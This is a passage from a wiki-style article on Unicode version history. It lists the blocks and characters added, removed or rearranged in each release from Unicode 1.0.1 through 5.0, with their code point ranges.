* '''Small Form Variants''' '''(formerly called Small Variants)''' (U+FE50-U+FE6F), containing 26 characters.
* '''Arabic Presentation Forms-B''' '''(formerly called Basic Glyphs for Arabic Language)''' (U+FE70-U+FEFF), containing 140 characters.
* '''Halfwidth and Fullwidth Forms''' '''(formerly called Halfwidth and Fullwidth Variants)''' (U+FF00-U+FFEF), containing 216 characters.
* '''Specials''' '''(formerly called Special)''' (U+FFF0-U+FFFF), containing 1 character.

== Unicode 1.0.1 ==
Unicode 1.0.1 was released June 1992. It encoded 28,292 characters, adding 21,204 new characters and removing 6 characters, for a net increase of 21,198 characters.

=== New blocks ===

* '''CJK Unified Ideographs''' (U+4E00-U+9FFF), containing 20,902 Han Ideographs for Chinese, Japanese and Korean, was added.
* '''CJK Compatibility Ideographs''' (U+F900-U+FAFF), containing 302 Han Ideographs for compatibility with existing character sets, was added.

=== Removed characters ===
* Letters Ka and Kha with Ogonek (total 4 characters) were removed from '''Cyrillic'''. (U+04C5-U+04C6 and U+04C9-U+04CA)
* APL Compose Operator and APL Out (total 2 characters) were removed from '''Miscellaneous Technical'''. (U+2300-U+2301)

=== Rearranged characters ===
* A Japanese Industrial Standard symbol (〄) was moved from '''Enclosed CJK Letters and Months''' (U+32FF) to '''CJK Symbols and Punctuation'''. (U+3004)
*'''Circled Katakana:''' ''The characters well be arranged in modern order: e.g., A, I, U, E, O, KA, KI'' (U+32D0-U+32FE)
*'''Basic Glyphs For Arabic Language:''' ''The character shapes will be arranged in different order: Isolate, Final, Initial and Medial'' (U+FE80-FEFC)

=== Characters with semantics changed ===
*'''Zero Width Non-Joiner''' [ZWNJ] (U+20DC)

*'''Zero Width Joiner''' [ZWJ] (U+20DD)

== Unicode 1.1 ==

Unicode 1.1 was released June 1993. It encoded 34,168 characters, adding 5,969 new characters and removing 93 characters, for a net increase of 5,876 characters. It finalized the long anticipated Han Unification.

=== New blocks ===

* '''Hangul Jamo''' (U+1100-U+11FF), containing 240 ''jamo'' for the Hangul script, was added.
* '''Latin Extended Additional''' (U+1E00-U+1EFF), containing 245 precomposed characters for transliteration and Vietnamese, was added.
* '''Greek Extended''' (U+1F00-U+1FFF), containing 233 precomposed characters for polytonic Greek, was added.
* '''Hangul Supplementary-A''' (U+3D2E-U+44B7), containing 1,930 precomposed syllables for the Hangul script, was added.
* '''Hangul Supplementary-B''' (U+44B8-U+4DFF), containing 2,376 precomposed syllables for the Hangul script, was added.
* '''Alphabetic Presentation Forms''' (U+FB00-U+FB4F), containing 57 precomposed characters and ligatures, was added.
* '''Arabic Presentation Forms-A''' (U+FB50-U+FDFF), containing 593 combinations of Arabic letters, was added.
* '''Combining Half Marks''' (U+FE20-U+FE2F), containing 4 halves of diacritical marks, was added.

=== Extended blocks ===

* The long S (ſ) (total 1 character) was added to '''Latin Extended-A'''. (U+017F)
* The Hungarian Dz, characters for transliteration purposes and precomposed characters with double grave and inverted breve (total 35 characters) were added to '''Latin Extended-B''' (U+01F1-U+01F5 and U+01FA-U+0217). The block was expanded from (U+0180-U+01FF) to (U+0180-U+024F)
* Diacritics for polytonic Greek and double width diacritics (total 6 characters) were added to '''Combining Diacritical Marks'''. (U+0342-U+0345 and U+0360-U+0361)
* Compatibility character now deprecated, Ano Teleia, and other characters (total 5 characters) were added to '''Greek and Coptic''' (U+0374-U+0375, U+037A, U+037E and U+0387).
* Additional characters for non-Slavic languages (total 38 characters) were added to '''Cyrillic'''. (U+04D0-U+04EB, U+04EE-U+04F5 and U+04F8-U+04F9)
* A ligature of Ech and Yiwn (և) (total 1 character) was added to '''Armenian'''. (U+0587)
* One deprecated compatibility character and several characters for biblical texts (total 25 characters) were added to '''Arabic'''. (U+066D and U+06D6-U+06ED)
* A sign Virama (total 1 character) was added to '''Gurmukhi''' (U+0A4D).
* Letters Candra O and E (total 3 characters) were added to '''Gujarati'''. (U+0A8D, U+0A91 and U+0AC9)
* An Ai Length mark (total 1 character) was added to '''Oriya'''. (U+0B56)
* An undertie, a pair of brackets and six formatting characters now deprecated (total 9 characters) were added to '''General Punctuation'''. (U+203F, U+2045-U+2046 and U+206A-U+206F)
* Some additional symbols and the complete set of APL functional symbols (total 79 characters) were added to '''Miscellaneous Technical'''. (U+2300 and U+232D-U+237A)
* A large circle (◯) (total 1 character) was added to '''Geometric Shapes'''. (U+25EF)
* The ideographic telegraph line feed separator symbol (〷) (total 1 character) was added to '''CJK Symbols and Punctuation'''. (U+3037)
* Four Katakana letters not in use since 1945 (total 4 characters) were added to '''Katakana'''. (U+30F7-U+30FA)
* Ideographic telegraph symbols for the twelve months (total 12 characters) were added to '''Enclosed CJK Letters and Months'''. (U+32C0-U+32CB)
* Ideographic telegraph symbols for hours and days and six additional measure units (total 62 characters) were added to '''CJK Compatibility'''. (U+3358-U+3376 and U+33E0-U+33FE)
* Some more space (total 2,304 characters) was added to the '''Private Use Area'''.
* Seven halfwidth geometric shapes (total 7 characters) were added to '''Halfwidth and Fullwidth Forms'''. (U+FFE8-U+FFEE)

=== Removed blocks ===
* '''Tibetan''', containing 71 letters for the Tibetan script, was removed from the Unicode standard.

=== Removed characters ===
* A total of 10 characters were removed from '''Greek and Coptic'''. (U+0370-U+0372, U+03D7-U+03D9, U+03DB, U+03DD, U+03DF, and U+03E1)
* Point Varika (total 1 character) was removed from '''Hebrew'''. (U+05F5)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Thai'''. (U+0E70-U+0E74)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Lao'''. (U+0EF0-U+0EF4)
* An Ideographic Ditto Mark (total 1 character) was removed from '''CJK Symbols and Punctuation''' (U+3004) and merged with CJK Unified Ideograph-4EDD.

=== Rearranged characters ===
* Greek character U+03F3 was changed from Spacing Tonos to Letter Yot.
* A Japanese Industrial Standard symbol (〄) was moved from '''Enclosed CJK Letters and Months''' (U+32FF) to '''CJK Symbols and Punctuation'''. (U+3004)

== Unicode 2.0 ==

Unicode 2.0 was released July 1996. It encoded 38,885 characters, adding 11,373 new characters and removing 6,656 characters, for a net increase of 4,717 characters. This was the first Unicode version to reserve blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Hangul Syllables''' (U+AC00-U+D7AF), containing 11,172 precomposed syllables for the Hangul script, was added.
* '''High Surrogates''' (U+D800-U+DB7F), setting aside 896 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''High Private Use Surrogates''' (U+DB80-U+DBFF), setting aside 128 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Low Surrogates''' (U+DC00-U+DFFF), setting aside 1,024 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Supplementary Private Use Area-A''' (U+F0000-U+FFFFF), reserving 65,534 characters for private use, was added.
* '''Supplementary Private Use Area-B''' (U+100000-U+10FFFF), reserving 65,534 characters for private use, was added.

=== Reinstated blocks ===

* '''Tibetan''' (U+0F00-U+0FFF), now containing 168 characters for the Tibetan script including religious signs, was readded.

=== Removed blocks ===

* '''Hangul''', containing 2,350 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-A''', containing 1,930 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-B''', containing 2,376 precomposed syllables for the Hangul script, was removed from the Unicode standard.

=== Extended blocks ===

* Cantillation marks for use in religious texts (total 31 characters) were added to '''Hebrew'''. (U+0591-U+05A1, U+05A3-U+05AF and U+05C4)
* A long S with Dot Above (total 1 character) was added to '''Latin Extended Additional'''. (U+1E9B)
* A Vietnamese Dong sign (total 1 character) was added to '''Currency Symbols'''. (U+20AB)

== Unicode 2.1 ==

Unicode 2.1 was released May 1998. It encoded 38,887 characters, adding only 2 new characters.

=== Extended blocks ===

* A Euro sign (total 1 character) was added to '''Currency Symbols'''. (U+20AC)
* An Object Replacement Character (total 1 character) was added to '''Specials'''. (U+FFFC)

== Unicode 3.0 ==

Unicode 3.0 was released September 1999. It was a big update and encoded 49,194 characters, adding 10,307 new characters.

=== New blocks ===

* '''Syriac''' (U+0700-U+074F), containing 71 characters used for writing in Syriac script, was added.
* '''Thaana''' (U+0780-U+07BF), containing 49 characters used for writing in Thaana script, was added.
* '''Sinhala''' (U+0D80-U+0DFF), containing 80 characters for the Sinhala script, was added.
* '''Myanmar''' (U+1000-U+109F), containing 78 characters for the Burmese script, was added.
* '''Ethiopic''' (U+1200-U+137F), containing 345 syllables and punctuation marks for the Ethiopic script, was added.
* '''Cherokee''' (U+13A0-U+13FF), containing 85 syllables for the Cherokee script, was added.
* '''Unified Canadian Aboriginal Syllabics''' (U+1400-U+167F), containing 630 syllables and punctuation marks for writing in indigenous languages of Canada, was added.
* '''Ogham''' (U+1680-U+169F), containing 29 characters for the ancient Ogham script, was added.
* '''Runic''' (U+16A0-U+16FF), containing 81 characters for the Germanic runes, was added.
* '''Khmer''' (U+1780-U+17FF), containing 103 characters for the Khmer script, was added.
* '''Mongolian''' (U+1800-U+18AF), containing 155 characters for the classical Mongolian script, was added.
* '''Braille Patterns''' (U+2800-U+28FF), containing 256 Braille letters, was added.
* '''CJK Radicals Supplement''' (U+2E80-U+2EFF), containing 115 non-Kangxi radicals, was added.
* '''Kangxi Radicals''' (U+2F00-U+2FDF), containing 214 radicals from the Kangxi dictionary, was added.
* '''Ideographic Description Characters''' (U+2FF0-U+2FFF), containing 12 characters used to describe a Han ideograph not available in the font, was added.
* '''Bopomofo Extended''' (U+31A0-U+31BF), containing 24 characters used for phonetic transcription of minority languages of Taiwan, was added.
* '''CJK Unified Ideographs Extension A''' (U+3400-U+4DBF), containing 6,582 additional Han Ideographs, was added.
* '''Yi Syllables''' (U+A000-U+A48F), containing 1,165 syllables of the modern Yi script, was added.
* '''Yi Radicals''' (U+A490-U+A4CF), containing 50 radicals of Yi Syllables, was added.

=== Extended blocks ===

* Additional precomposed characters, letters and capital letters of lowercase-only letters (total 30 characters) were added to '''Latin Extended-B'''. (U+01F6-U+01F9, U+0218-U+021F and U+0222-U+0233)
* Extensions for disordered speech (total 5 characters) were added to '''IPA Extensions'''. (U+02A9-U+02AD)
* Some additional modifier letters (total 6 characters) were added to '''Spacing Modifier Letters'''. (U+02DF and U+02EA-U+02EE)
* Additional combining diacritics for IPA (total 10 characters) were added to '''Combining Diacritical Marks'''. (U+0346-U+034E and U+0362)
* Lowercase versions of archaic letters and the Kai symbol (total 5 characters) were added to '''Greek and Coptic'''. (U+03D7, U+03DB, U+03DD, U+03DF and U+03E1)
* Nonstandard letters for Macedonian, combining numeral signs and three letters for Kildin Sami (total 12 characters) were added to '''Cyrillic'''. (U+0400, U+040D, U+0450, U+045D, U+0488-U+0489, U+048C-U+048F and U+04EC-U+04ED)
* A Hyphen (total 1 character) was added to '''Armenian'''. (U+058A)
* Combining hamza and maddah and nine additional Arabic characters (total 12 characters) were added to '''Arabic'''. (U+0653-U+0655, U+06B8-U+06B9, U+06BF, U+06CF and U+06FA-U+06FE)
* Additional letters and religious symbols (total 25 characters) were added to '''Tibetan'''. (U+0F6A, U+0F96, U+0FAE-U+0FB0, U+0FB8, U+0FBA-U+0FBC, U+0FBE-U+0FCC and U+0FCF)
* A narrow no-break space and 6 additional punctuation marks (total 7 characters) were added to '''General Punctuation'''. (U+202F and U+2048-U+204D)
* The Kip, Tugrik and Drachma sign (total 3 characters) were added to '''Currency Symbols'''. (U+20AD-U+20AF)
* An enclosing screen and an enclosing key (total 2 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E2-U+20E3)
* The information symbol and a rotated Q (total 2 characters) were added to '''Letterlike Symbols'''. (U+2139-U+213A)
* A mirrored Roman capital numeral hundred (Ↄ) (total 1 character) was added to '''Number Forms'''. (U+2183)
* Some additional arrows (total 9 characters) were added to '''Arrows'''. (U+21EB-U+21F3)
* Some additional technical symbols, including common keys on a 101 keyboard (total 33 characters) were added to '''Miscellaneous Technical'''. (U+2301, U+237B and U+237D-U+239A)
* Two additional control pictures (total 2 characters) were added to '''Control Pictures'''. (U+2425-U+2426)
* Squares and circles with quadrants (total 8 characters) were added to '''Geometric Shapes'''. (U+25F0-U+25F7)
* Two Syriac crosses and a signature mark (total 3 characters) were added to '''Miscellaneous Symbols'''. (U+2619 and U+2670-U+2671)
* Three Hangzhou numerals and a variation indicator (total 4 characters) were added to '''CJK Symbols and Punctuation'''. (U+3038-U+303A and U+303E)
* A ligature Yod with Hiriq (יִ) (total 1 character) was added to '''Alphabetic Presentation Forms'''. (U+FB1D)
* Three additional control characters for ruby markup (total 3 characters) were added to '''Specials'''. (U+FFF9-U+FFFB)

== Unicode 3.1 ==

Unicode 3.1 was released March 2001. It encoded 94,140 characters, adding 44,946 new characters, and mainly focused on blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Old Italic''' (U+10300-U+1032F), containing 35 letters for the Etruscan script, was added.
* '''Gothic''' (U+10330-U+1034F), containing 27 letters for the Gothic script, was added.
* '''Deseret''' (U+10400-U+1044F), containing 76 letters for the constructed Deseret script, was added.
* '''Byzantine Musical Symbols''' (U+1D000-U+1D0FF), containing 246 symbols for musical notation in Byzantine, was added.
* '''Musical Symbols''' (U+1D100-U+1D1FF), containing 219 characters for current musical notation, was added.
* '''Mathematical Alphanumeric Symbols''' (U+1D400-U+1D7FF), containing 991 Latin and Greek letters in serif, sans-serif, bold, italic, double-struck, script and Fraktur/Blackletter, was added.
* '''CJK Unified Ideographs Extension B''' (U+20000-U+2A6DF), containing 42,711 additional Chinese Ideographs, was added.
* '''CJK Compatibility Ideographs Supplement''' (U+2F800-U+2FA1F), containing 542 additional Chinese Ideographs for compatibility purposes, was added.
* '''Tags''', containing 97 language tags, was added. (U+E0000-U+E007F)

=== Extended noncharacters ===

* The Noncharacters range: U+FDD0..U+FDEF were added to '''Arabic Presentation Forms-A'''.

=== Extended blocks ===

* The capital Theta symbol and the Lunate Epsilon symbol (total 2 characters) were added to '''Greek and Coptic'''. (U+03F4-U+03F5)

=== Characters and Scripts Under Investigation or Rejected ===
* Khmer Sign Laak Was Rejected. (U+17DD) From '''Khmer.'''
* Georgian Letter U-Brjuu Was Rejected. From '''Georgian.'''

== Unicode 3.2 ==

Unicode 3.2 was released March 2002. It encoded 95,156 characters, adding 1,016 new characters.

=== New blocks ===

* '''Cyrillic Supplementary (now Cyrillic Supplement)''' (U+0500-U+052F), containing 16 characters used for the Komi language, was added.
* '''Tagalog''' (U+1700-U+171F), containing 20 characters for the Baybayin script, was added.
* '''Hanunoo''' (U+1720-U+173F), containing 23 characters and punctuation for the Hanunó'o script, was added.
* '''Buhid''' (U+1740-U+175F), containing 20 characters for the Buhid script, was added.
* '''Tagbanwa''' (U+1760-U+177F), containing 18 characters for the Tagbanwa script, was added.
* '''Miscellaneous Mathematical Symbols-A''' (U+27C0-U+27EF), containing 28 symbols used in math notation, was added.
* '''Supplemental Arrows-A''' (U+27F0-U+27FF), containing 16 additional arrows, was added.
* '''Supplemental Arrows-B''' (U+2900-U+297F), containing 128 special arrows, was added.
* '''Miscellaneous Mathematical Symbols-B''' (U+2980-U+29FF), containing 128 additional mathematical symbols, was added.
* '''Supplemental Mathematical Operators''' (U+2A00-U+2AFF), containing 256 additional mathematical operators, was added.
* '''Katakana Phonetic Extensions''' (U+31F0-U+31FF), containing 16 Katakana letters used for Ainu, was added.
* '''Variation Selectors''' (U+FE00-U+FE0F), containing 16 symbols used for indicating variations, was added.

=== Extended blocks ===

* A capital letter N with Long Right Leg (total 1 character) was added to '''Latin Extended-B'''. (U+0220)
* The combining grapheme joiner and combining Latin letters used in medieval texts (total 14 characters) were added to '''Combining Diacritical Marks'''. (U+034F and U+0363-U+036F)
* The Qoppa and a reversed lunate epsilon symbol (total 3 characters) were added to '''Greek and Coptic'''. (U+03D8-U+03D9 and U+03F6)
* Four additional letters used for the Kildin Sami language (total 8 characters) were added to '''Cyrillic'''. (U+048A-U+048B, U+04C5-U+04C6, U+04C9-U+04CA and U+04CD-U+04CE)
* A dotless Beh and a dotless Qaf (total 2 characters) were added to '''Arabic'''. (U+066E-U+066F)
* A Letter for Addu dialect (total 1 character) was added to '''Thaana'''. (U+07B1)
* The letters Yn and Elifi (total 2 characters) were added to '''Georgian'''. (U+10F7-U+10F8)
* Some additional punctuation marks and control characters (total 12 characters) were added to '''General Punctuation'''. (U+2047, U+204E-U+2052, U+2057 and U+205F-U+2063)
* A superscript letter I (total 1 character) was added to '''Superscripts and Subscripts'''. (U+2071)
* German Penny and Peso sign (total 2 characters) were added to '''Currency Symbols'''. (U+20B0-U+20B1)
* Some additional combining characters (total 7 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E4-U+20EA)
* Some double-struck and reversed/turned letters (total 15 characters) were added to '''Letterlike Symbols'''. (U+213D-U+214B)
* Some additional arrows (total 12 characters) were added to '''Arrows'''. (U+21F4-U+21FF)
* Some additional mathematical operators (total 14 characters) were added to '''Mathematical Operators'''. (U+22F2-U+22FF)
* Variable-width and additional symbols (total 53 characters) were added to '''Miscellaneous Technical'''. (U+237C and U+239B-U+23CE)
* Black and double circled numerals (total 20 characters) were added to '''Enclosed Alphanumerics'''. U+24EB-U+24FE)
* Quadrant elements (total 10 characters) were added to '''Block Elements'''. (U+2596-U+259F)
* Some additional triangles and squares (total 8 characters) were added to '''Geometric Shapes'''. (U+25F8-U+25FF)
* Shogi pieces ,recycling symbols, dices and dotted circles (total 24 characters) were added to '''Miscellaneous Symbols'''. (U+2616-U+2617, U+2672-U+267D and U+2680-U+2689)
* Additional parenthesis (total 14 characters) were added to '''Dingbats'''. (U+2768-U+2775)
* Three additional marks (total 3 characters) were added to '''CJK Symbols and Punctuation'''. (U+303B-U+303D)
* A digraph and two additional characters (total 3 characters) were added to '''Hiragana'''. (U+3095-U+3096 and U+309F)
* A digraph and a double hyphen (total 2 characters) were added to '''Katakana'''. (U+30A0 and U+30FF)
* Additional circled numerals (total 30 characters) were added to '''Enclosed CJK Letters and Months'''. (U+3251-U+325F and U+32B1-U+32BF
* Five missing radicals (total 5 characters) were added to '''Yi Radicals'''. (U+A4A2-U+A4A3, U+A4B4, U+A4C1, U+A4C5)
* Additional compatibility characters (total 59 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA30-U+FA6A)
* A Rial sign (total 1 character) was added to '''Arabic Presentation Forms-A'''. (U+FDFC)
* Two sesame dots (total 2 characters) were added to '''CJK Compatibility Forms'''. (U+FE45-U+FE46)
* A tail fragment (total 1 character) was added to '''Arabic Presentation Forms-B'''. (U+FE73)
* A pair of double parenthesis (total 2 characters) was added to '''Halfwidth and Fullwidth Forms'''. (U+FF5F-U+FF60)

== Unicode 4.0 ==

Unicode 4.0 was released April 2003. It encoded 96,382 characters, adding 1,226 new characters.

=== New blocks ===

* '''Limbu''' (U+1900-U+194F), containing 66 characters for the Limbu abugida, was added.
* '''Tai Le''' (U+1950-U+197F), containing 35 letters for the Tai Le script, was added.
* '''Khmer Symbols''' (U+19E0-U+19FF), containing 32 symbols for the lunar calendar, was added.
* '''Phonetic Extensions''' (U+1D00-U+1D7F), containing 108 letters used in phonetic transcription, was added.
* '''Miscellaneous Symbols and Arrows''' (U+2B00-U+2BFF), containing 14 additional arrows, was added.
* '''Yijing Hexagram Symbols''' (U+4DC0-U+4DFF), containing 64 hexagrams, was added.
* '''Linear B Syllabary''' (U+10000-U+1007F), containing 88 syllables of the ancient Linear B script, was added.
* '''Linear B Ideograms''' (U+10080-U+100FF), containing 123 ideograms of the ancient Linear B script, was added.
* '''Aegean Numbers''' (U+10100-U+1013F), containing 57 numerals used in the Aegean area, was added.
* '''Ugaritic''' (U+10380-U+1039F), containing 31 characters used in Ugaritic cuneiform, was added.
* '''Shavian''' (U+10450-U+1047F), containing 48 letters used for the artificial Shavian script, was added.
* '''Osmanya''' (U+10480-U+104AF), containing 40 characters used in the artificial Osmanya script, was added.
* '''Cypriot Syllabary''' (U+10800-U+1083F), containing 55 characters formerly used on Cyprus, was added.
* '''Tai Xuan Jing Symbols''' (U+1D300-U+1D35F), containing 87 symbols of Tai Xuan Jing, was added.
* '''Variation Selectors Supplement''' (U+E0100-U+E01EF), containing 240 additional variation selectors, was added.

=== Extended blocks ===

* Letters with curl used in Sinology (total 4 characters) were added to '''Latin Extended-B'''. (U+0221 and U+0234-U+0236)
* Former IPA letters (total 2 characters) were added to '''IPA Extensions'''. (U+02AE-U+02AF)
* Some additional characters (total 17 characters) were added to '''Spacing Modifier Letters'''. (U+02EF-U+02FF)
* Additional combining double-width diacritics and diacritics corresponding to their spacing equivalent (total 11 characters) were added to '''Combining Diacritical Marks'''. (U+0350-U+0357 and U+035D-U+035F)
* The archaic letters Sho and San and the capital Lunate Sigma (total 5 characters) were added to '''Greek and Coptic'''. (U+03F7-U+03FB)
* Some additional markers, biblical signs, and letters with inverted V (total 19 characters) were added to '''Arabic'''. (U+0600-U+0603, U+060D-U+0615, U+0656-U+0658, U+06EE-U+06EF and U+06FF)
* Letters used for foreign words from Persian and Sogdian (total 6 characters) were added to '''Syriac'''. (U+072D-U+072F and U+074D-U+074F)
* The short A (ऄ) (total 1 character) was added to '''Devanagari'''. (U+0904)
* The Avagraha sign (ঽ) (total 1 character) was added to '''Bengali'''. (U+09BD)
* The Adak Bindi and Visarga signs (total 2 characters) were added to '''Gurmukhi'''. (U+0A01 and U+0A03)
* The vocalic l and ll and the Rupee sign (total 5 characters) were added to '''Gujarati'''. (U+0A8C and U+0AF1-U+0AF3)
* The letters Va and Wa (total 2 characters) were added to '''Oriya'''. (U+0B35 and U+0B71)
* Additional signs for date and finance environments (total 8 characters) were added to '''Tamil'''. (U+0BF3-U+0BFA)
* The Nukta and Avagraha signs (total 2 characters) were added to '''Kannada'''. (U+0CBC-U+0CBD)
* Some symbols and signs (total 11 characters) were added to '''Khmer'''. (U+17DD and U+17F0-U+17F9)
* An inverted undertie and a swung dash (total 2 characters) were added to '''General Punctuation'''. (U+2053-U+2054)
* The facsimile sign (℻) (total 1 character) was added to '''Letterlike Symbols'''. (U+213B)
* The eject symbol and a vertical line (total 2 characters) were added to '''Miscellaneous Technical'''. (U+23CF-U+23D0)
* A black circled digit zero (⓿) (total 1 character) was added to '''Enclosed Alphanumerics'''. (U+24FF)
* Monograms and diagrams, flags, warning and weather symbols and a cup of tea (total 12 characters) were added to '''Miscellaneous Symbols'''. (U+2614-U+2615, U+268A-U+2691 and U+26A0-U+26A1)
* Additional parenthesized and circled Korean characters and supplemental signs (total 9 characters) were added to '''Enclosed CJK Letters and Months'''. (U+321D-U+321E, U+3250, U+327C-U+327D and U+32CC-U+32CF)
* Additional measure units (total 7 characters) were added to '''CJK Compatibility'''. (U+3377-U+337A, U+33DE-U+33DF and U+33FF)
* An additional Arabic sign (﷽) (total 1 character) was added to '''Arabic Presentation Forms-A'''. (U+FDFD)
* A pair of vertical parenthesis (total 2 characters) was added to '''CJK Compatibility Forms'''. (U+FE47-U+FE48)
* The letters Oi and Ew (total 4 characters) were added to '''Deseret'''. (U+10426-U+10427 and U+1044E-U+1044F)
* A small script l (ℓ) (total 1 character) was added to '''Mathematical Alphanumeric Symbols'''. (U+1D4C1)

== Unicode 4.1 ==

Unicode 4.1 was released March 31, 2005. It encoded 97,655 characters, adding 1,273 new characters.

=== New blocks ===

* '''Arabic Supplement''' (U+0750-U+077F), containing 30 characters for various languages written with the Arabic script, was added.
* '''Ethiopic Supplement''' (U+1380-U+139F), containing 26 characters and signs for Sebatbeit, was added.
* '''New Tai Lue''' (U+1980-U+19DF), containing 80 characters for the New Tai Lue script, was added.
* '''Buginese''' (U+1A00-U+1A1F), containing 30 characters for the Lontara script, was added.
* '''Phonetic Extensions Supplement''' (U+1D80-U+1DBF), containing 64 additional letters for phonetic transcription, was added.
* '''Combining Diacritical Marks Supplement''' (U+1DC0-U+1DFF), containing 4 additional diacritics, was added.
* '''Glagolitic''' (U+2C00-U+2C5F), containing 94 characters for the Glagolitic script, was added.
* '''Coptic''' (U+2C80-U+2CFF), containing 114 characters for the Coptic script, was added.
* '''Georgian Supplement''' (U+2D00-U+2D2F), containing 38 Nuskhuri letters, was added.
* '''Tifinagh''' (U+2D30-U+2D7F), containing 55 characters for the Tifinagh script, was added.
* '''Ethiopic Extended''' (U+2D80-U+2DDF), containing 79 additional Ethiopic syllables, was added.
* '''Supplemental Punctuation''' (U+2E00-U+2E7F), containing 26 additional punctuation marks, was added.
* '''CJK Strokes''' (U+31C0-U+31CF), containing 16 strokes for Han Ideographs, was added.
* '''Modifier Tone Letters''' (U+A700-U+A71F), containing 23 letters for Chinese tones, was added.
* '''Syloti Nagri''' (U+A800-U+A82F), containing 44 characters for the Syloti Nagri abugida, was added.
* '''Vertical Forms''' (U+FE10-U+FE1F), containing 10 punctuation marks suited for vertical text, was added.
* '''Ancient Greek Numbers''' (U+10140-U+1018F), containing 75 numerals and signs used in Ancient Greek, was added.
* '''Old Persian''' (U+103A0-U+103DF), containing 50 characters for Old Persian cuneiform, was added.
* '''Kharoshthi''' (U+10A00-U+10A5F), containing 65 characters for the Kharoshthi abugida, was added.
* '''Ancient Greek Musical Notation''' (U+1D200-U+1D24F), containing 70 musical signs used in Ancient Greek, was added.

=== Extended blocks ===

* Letters for Sencoten, digraphs, letters with swash tail and other additions (total 11 characters) were added to '''Latin Extended-B'''. (U+0237-U+0241)
* Additional diacritics for transliteration (total 5 characters) were added to '''Combining Diacritical Marks'''. (U+0358-U+035C)
* Rho with stroke, reversed and dotted Lunate Sigma (total 4 characters) were added to '''Greek and Coptic'''. (U+03FC-U+03FF)
* Ghe with descender (Ӷ) (total 2 characters) was added to '''Cyrillic'''. (U+04F6-U+04F7)
* An additional biblical mark and some punctuation marks (total 4 characters) were added to '''Hebrew'''. (U+05A2 and U+05C5-U+05C7)
* Additional biblical marks, punctuation marks and the Afghani sign (total 8 characters) were added to '''Arabic'''. (U+060B, U+061E, and U+0659-U+065E)
* A glottal stop (ॽ) (total 1 character) was added to '''Devanagari'''. (U+097D)
* The Khanda Ta letter (ৎ) (total 1 character) was added to '''Bengali'''. (U+09CE)
* The letter Sha and the digit zero (total 2 characters) were added to '''Tamil'''. (U+0BB6 and U+0BE6)
* Two marks used in Bhutan (total 2 characters) were added to '''Tibetan'''. (U+0FD0-U+0FD1)
* Two letters and a modifier letter (total 3 characters) were added to '''Georgian'''. (U+10F9-U+10FA and  U+10FC)
* Some additional syllables (total 11 characters) were added to '''Ethiopic'''. (U+1207, U+1247, U+1287, U+12AF, U+12CF, U+12EF, U+130F, U+131F, U+1347, U+135F, and U+1360)
* Additional phonetic symbols (total 20 characters) were added to '''Phonetic Extensions'''. (U+1D6C-U+1D7F)
* A flower and dot punctuation marks (total 9 characters) were added to '''General Punctuation'''. (U+2055-U+2056 and U+2058-U+205E)
* Additional subscript letters (total 5 characters) were added to '''Superscripts and Subscripts'''. (U+2090-U+2094)
* The Guarani, Austral, Hryvnia and Cedi signs (total 4 characters) were added to '''Currency Symbols'''. (U+20B2-U+20B5)
* A combining long double solidus (total 1 character) was added to '''Combining Diacritical Marks for Symbols'''. (U+20EB)
* The per sign and a double-struck letter Pi (total 2 characters) were added to '''Letterlike Symbols'''. (U+213C and U+214C)
* Metrical and electrical signs (total 11 characters) were added to '''Miscellaneous Technical'''. (U+23D1-U+23DB)
* Additional gender and map symbols (total 30 characters) were added to '''Miscellaneous Symbols'''. (U+2618, U+267E-U+267F, U+2692-U+269C, and U+26A2-U+26B1)
* Some additional mathematical symbols (total 7 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27C0-U+27C6)
* Additional arrows and squares (total 6 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B0E-U+2B1D)
* A circled Hangul character (㉾) (total 1 character) was added to '''Enclosed CJK Letters and Months'''. (U+327E)
* Additional Han Ideographs (total 22 characters) were added to '''CJK Unified Ideographs'''. (U+9FA6-U+9FBB)
* Additional Compatibility Ideographs (total 106 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA70-U+FAD9)
* Italic dotless small i and j (total 2 characters) were added to '''Mathematical Alphanumeric Symbols'''. (U+1D6A4-U+1D6A5)

== Unicode 5.0 ==

Unicode 5.0 was released July 14, 2006. It encoded 99,024 characters, adding 1,369 new characters.

=== New blocks ===

* '''N'Ko''' (U+07C0-U+07FF), containing 59 characters for the N'Ko script, was added.
* '''Balinese''' (U+1B00-U+1B7F), containing 121 characters and musical signs for the Balinese abugida, was added.
* '''Latin Extended-C''' (U+2C60-U+2C7F), containing 17 letters for various languages, was added.
* '''Latin Extended-D''' (U+A720-U+A7FF), containing 2 characters for UPA, was added.
* '''Phags-pa''' (U+A840-U+A87F), containing 56 characters for the Phags-pa script, was added.
* '''Phoenician''' (U+10900-U+1091F), containing 27 letters and numerals for the Phoenician script, was added.
* '''Cuneiform''' (U+12000-U+123FF), containing 879 signs for Sumero-Akkadian Cuneiform, was added.
* '''Cuneiform Numbers and Punctuation''' (U+12400-U+1247F), containing 103 numerals and punctuation signs for Sumero-Akkadian Cuneiform, was added.
* '''Counting Rod Numerals''' (U+1D360-U+1D37F), containing 18 numerals used with counting rods, was added.

=== Extended blocks ===

* Various letters used mainly for aboriginal languages (total 14 characters) were added to '''Latin Extended-B'''. (U+0242-U+024F)
* Lowercase lunate sigma symbols (total 3 characters) were added to '''Greek and Coptic'''. (U+037B-U+037D)
* Lowercase palochka and 3 letters used in Nivkh (total 7 characters) were added to '''Cyrillic'''. (U+04CF and U+04FA-U+04FF)
* Two letters used in Khanty and other languages (total 4 characters) were added to '''Cyrillic Supplement'''. (U+0510-U+0513)
* A specific point meant for Vav (total 1 character) was added to '''Hebrew'''. (U+05BA)
* Four letters used in Sindhi (total 4 characters) were added to '''Devanagari'''. (U+097B-U+097C and U+097E-U+097F)
